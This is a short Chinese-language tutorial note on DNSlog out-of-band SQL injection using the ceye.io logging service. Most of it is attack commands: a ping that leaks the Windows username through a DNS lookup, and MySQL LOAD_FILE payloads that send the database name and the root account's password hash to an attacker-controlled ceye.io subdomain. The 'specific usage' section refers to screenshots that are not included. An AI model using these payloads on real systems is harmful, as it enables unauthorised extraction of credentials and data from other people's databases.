dnslog注入

首先 ceye是一个网站 不是一个应用程序

http://ceye.io

这个是他的网址

操作：

 

ping %USERNAME%.b182oj.ceye.io

curl sk7s6n.ceye.io

核心语法：Loadfile 函数只能在windows操作系统执行，所以目标一定要是windows操作系统

 

SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.mysql.sk7s6n.ceye.io\\test'));

官方用法：

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

 

具体使用(将就看吧，视频截出来懒得手打）：

 

将获得的数据decode 即可获取原本的信息